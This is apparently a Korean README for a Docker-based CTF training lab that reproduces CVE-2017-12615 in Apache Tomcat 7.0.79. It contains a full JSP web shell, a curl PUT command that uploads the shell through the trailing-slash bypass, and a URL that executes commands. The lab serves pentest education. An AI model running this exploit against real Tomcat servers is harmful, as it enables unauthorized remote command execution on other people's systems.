CVE-2017-12615 Tomcat: JSP 업로드를 통한 원격 코드 실행

이 랩은 CVE-2017-12615 Tomcat: JSP 업로드를 통한 원격 코드 실행 취약점을 시뮬레이션합니다.
readonly=false 설정으로 인해 HTTP PUT을 통한 파일 업로드가 가능해지며, 여기에는 명령을 실행할 수 있는(RCE) .jsp 파일도 포함됩니다.

기능

• Apache Tomcat 7.0.79 (취약 버전)
• readonly=false 값이 설정된 DefaultServlet override 사용
• PUT 업로드를 통해 .jsp 파일을 ROOT 웹 디렉터리에 배치 가능
• 웹 셸을 통한 명령 실행 지원
• 지우지 않은 내부 메모(Hint)가 포함된 Industrial 스타일 웹 페이지
• 컨테이너가 시작될 때마다 flag_RANDOM.txt 자동 생성
• CTF / Red Team / Pentest 교육용으로 설계됨

디렉터리 구조

/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh

사용법 (컨테이너 실행)

docker compose build
docker compose up -d

웹 브라우저로 접속:

http://localhost:8080/

CVE-2017-12615 취약점 테스트 방법

1) JSP 페이로드 파일 생성

cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    String s;
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF

2) PUT으로 파일 업로드 (파일 이름 끝에 / 필요)

curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp

3) 웹 셸 실행

http://localhost:8080/shell.jsp?cmd=id

Flag

다음 위치에 저장됩니다:

/tmp/flag_RANDOM.txt

영문 버전 — CVE-2017-12615 Tomcat: JSP 업로드를 통한 원격 코드 실행

이 랩은 Apache Tomcat의 DefaultServlet이 다음과 같이 잘못 구성된 CVE-2017-12615 Tomcat: JSP 업로드를 통한 원격 코드 실행 취약점을 시뮬레이션합니다:

readonly=false

이로 인해 공격자는 HTTP PUT을 통해 .jsp 파일을 업로드하여 원격 코드 실행이 가능해집니다.

기능

• 취약한 Apache Tomcat 7.0.79
• readonly=false가 설정된 DefaultServlet override
• PUT 업로드 → ROOT 웹 디렉터리에 임의의 .jsp 파일 작성 가능
• JSP 셸을 통한 명령 실행 지원
• 미묘한 내부 힌트가 포함된 Industrial 스타일 랜딩 페이지
• 컨테이너 시작 시 자동 생성되는 flag_RANDOM.txt
• CTF, 연구 및 익스플로잇 개발에 적합

익스플로잇 예시

JSP 셸 업로드

curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp

명령 실행

http://localhost:8080/shell.jsp?cmd=id

Flag 위치

/tmp/flag_RANDOM.txt

면책 조항

교육, 연구 및 승인된 침투 테스트 목적으로만 사용하십시오.